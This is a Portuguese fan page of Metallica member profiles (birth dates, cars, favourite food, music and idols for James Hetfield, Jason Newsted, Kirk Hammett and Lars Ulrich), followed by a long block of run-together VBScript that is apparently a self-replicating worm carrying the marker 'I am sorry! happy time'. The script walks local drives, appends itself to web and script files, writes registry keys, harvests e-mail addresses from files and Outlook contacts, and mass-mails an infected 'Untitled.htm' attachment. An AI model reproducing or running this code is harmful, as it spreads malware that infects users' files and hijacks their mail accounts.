integrantes

Integrantes

James Hetfield

Nome: James Alan Hetfield
Nascimento: 03/08/1963
Local: Los Angeles, California
Na Banda: Vocal, guitarra
Características: Olhos azuis, cabelo loiro, 1,85m, 81 kg

Características pessoais:

Estado Civil: Casado (Agosto de 1997)
Dirige: Chevy Blazer, Dodge Ram, '55 Chevy BelAir
Comida: Mexicana, churrasco
Antes do Metallica: Tocou no Obsession, Leather Charm
Gostos: Caçar, snowboard, street rockey, charutos, armas, trabalho com madeira
Ouve: Black Sabbath, Motorhead, Skynyrd, Thin Lizzy, Tom Waits, Nick Cave, Spegetti
Ídolo: Clint Eastwood

Jason Newsted "Sai da banda"

Nome: Jason Curtis Newsted
Nascimento: 04/03/1963
Local: Battle Creek, Michigan
Na Banda: Backing vocal, baixo
Características: Olhos azuis, cabelo marrom avermelhado, 1,75m, 68kg

Características Pessoais:

Estado Civil: Solteiro (divorciado)
Dirige: '94 Land Cruiser, Titanium Merlin "Newsboy" Cruiser mountain bike
Comida: Thai Curry, Frosted Flakes, Bananas, Ginseng
Antes do Metallica: Flotsam and Jetsam, Dogz
Gostos: Mountain biking, Basketball
Ouve: Kiss, Black Sabbath, Tom Waits, Stevie Ray Vaughan, Machine Head, Sly and the Family Stone, Sepultura, Wes Montgomery, Snoop Doggy Dogg, Bob Marley, Johnny Cash, Jaco Pastorius, Anything e tudo mais
Ídolos: Gene Simmons, Al Pacino, B.B. King, seu pai, Zach Harmon, Bob Marley

Kirk Hammett

Nome: Kirk Lee Hammett
Nascimento: 18/11/1962
Local: San Francisco, California
Na Banda: Guitarra
Características: Olhos e cabelhos castanhos. 1,75m, 60kg

Características Pessoais:

Estado Civil: casado
Dirige: Land Cruiser, mountain bike, '55 Dodge Coronet
Comida: Sushi, comida mexicana, indiana, massas
Antes do Metallica: tocou no Exodus, bebeu muito
Gostos: Montain biking, tatuagens, piercings, charutos, filosofia, pinball
Ouve: Jimi Hendrix, UFO, Black Sabbath, Deep Purple, Led Zeppelin, Kiss, John Coltrane, Government Mule, Chet Baker, Prez Prado, Alice In Chains, David Bowie, U2, King Crimson, Robert Johnson, Radiohead
Ídolos: Boris Karloff, Bela Lugosi, Jimi Hendrix, Chet Baker, Diane Arbus, John Coltrane, Charles Bukowski, Edward Munch, Joel Peter Whitkin

Lars Ulrich

Nome: Lars Ulrich
Nascimento: 26/12/1963
Local: Gentofte, Dinamarca
Na Banda: Bateria
Características: Olhos azuis, cabelo loiro/castanho, 1,70m, 58kg

Características Pessoais:

Estado Civil: Casado (Janeiro de 1997)
Dirige: Porsche, Chevy Blazer, Range Rover, Saab
Comida: francesa, sushi
Antes do Metallica: nenhuma outra banda
Gostos: cooper, esquiar, filmes, etc
Ouve: Oasis, AIC, Black Grape
Ídolos: Ritchie Blackmore, Ace Frehley

Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files Od.Add "htt", "1100" For Each m In gf fext = GetExt(Of, Od, m) If fext <> "" Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write "<" & "title>I am sorry!" window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, "Help.vbs" End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = "<%" & VBSText & "%>" End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m & vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, "") End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m) <> "" Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then If T Then Dnext = d Exit Function Else If LCase(S) = LCase(d) Then T = True End If If m = "" Then m = d End If End If End If Next Dnext = m End Function Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) GetExt = Od.Item(fext) End Function Sub Rw(k, v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") R.RegWrite k, v End Sub Function Rg(v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") Rg = R.RegRead(v) End Function Function IsVbs() Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then IsVbs = False Else IsVbs = True End If End Function Function IsHTML() Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False Else IsHTML = True End If End Function Function IsMail(S) Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then m1 = InStr(S, "@") m2 = InStr(S, ".") If m1 <> 0 And m1 < m2 Then IsMail = True End If End If End Function Function Lvbs() Dim f, m, ws, Of On Error Resume Next If IsVbs Then Set Of = CreateObject("Scripting.FileSystemObject") Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) Lvbs = f.ReadAll Else For Each ws In document.scripts If LCase(ws.Language) = "vbscript" Then If Sc(ws.Text) Then Lvbs = ws.Text Exit Function End If End If Next End If End Function Function Iv(mPath, mName) Dim Shell On Error Resume Next Set Shell = CreateObject("Shell.Application") Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb If Er Then Iv = False Else Iv = True End If End Function Function Grf() Dim Shell, mPath On Error Resume Next Set Shell = CreateObject("Shell.Application") mPath = "C:\" For Each mShell In Shell.NameSpace(mPath).Items If mShell.IsFolder Then Grf = mShell.Path Exit Function End If Next If Er Then Grf = "" End If End Function Function Gsf() Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") m = Of.GetSpecialFolder(0) If Er Then Gsf = "C:\" Else Gsf = m End If End Function Function Lhtml() Lhtml = "<" & "HTML" & ">" & vbCrLf & _ "<" & "Title> Help <" & "/HEAD>" & vbCrLf & _ "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>" End Function Function Lscript(S) Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ S & "<" & "/script" & ">" End Function Function Sl(S1, S2, n) Dim l1, l2, l3, i l1 = Len(S1) l2 = Len(S2) i = InStr(S1, S2) If i > 0 Then l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function Function Ml(S) Dim S1, S3, S2, T, adds, m S1 = S S3 = """" adds = "" S2 = S3 & "mailto" & ":" T = True Do While T S1 = Sl(S1, S2, 1) If S1 = "" Then T = False Else m = Sl(S1, S3, 0) If IsMail(m) Then adds = adds & m & vbCrLf End If End If Loop Ml = Split(adds, vbCrLf) End Function Function Og() Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address Next Og = m End Function Sub Tsend() Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) MM.RecipAddress = m MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send Next MS.SignOff End Sub Function MConnect(MS, MM) Dim U On Error Resume Next Set MS = CreateObject("MSMAPI.MAPISession") Set MM = CreateObject("MSMAPI.MAPIMessages") U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile") MS.UserName = U MS.DownLoadMail = False MS.NewSession = False MS.LogonUI = True MS.SignOn MM.SessionID = MS.SessionID End Function Sub Msend(Address) Dim MS, MM, i, a MConnect MS, MM i = 0 MM.Compose For Each a In Address If IsMail(a) Then MM.RecipIndex = i MM.RecipAddress = a i = i + 1 End If Next MM.MsgSubject = " Help " MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send MS.SignOff End Sub Function Er() If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function Function IsDel(S) If Mid(S, 4, 1) = 1 Then IsDel = True Else IsDel = False End If End Function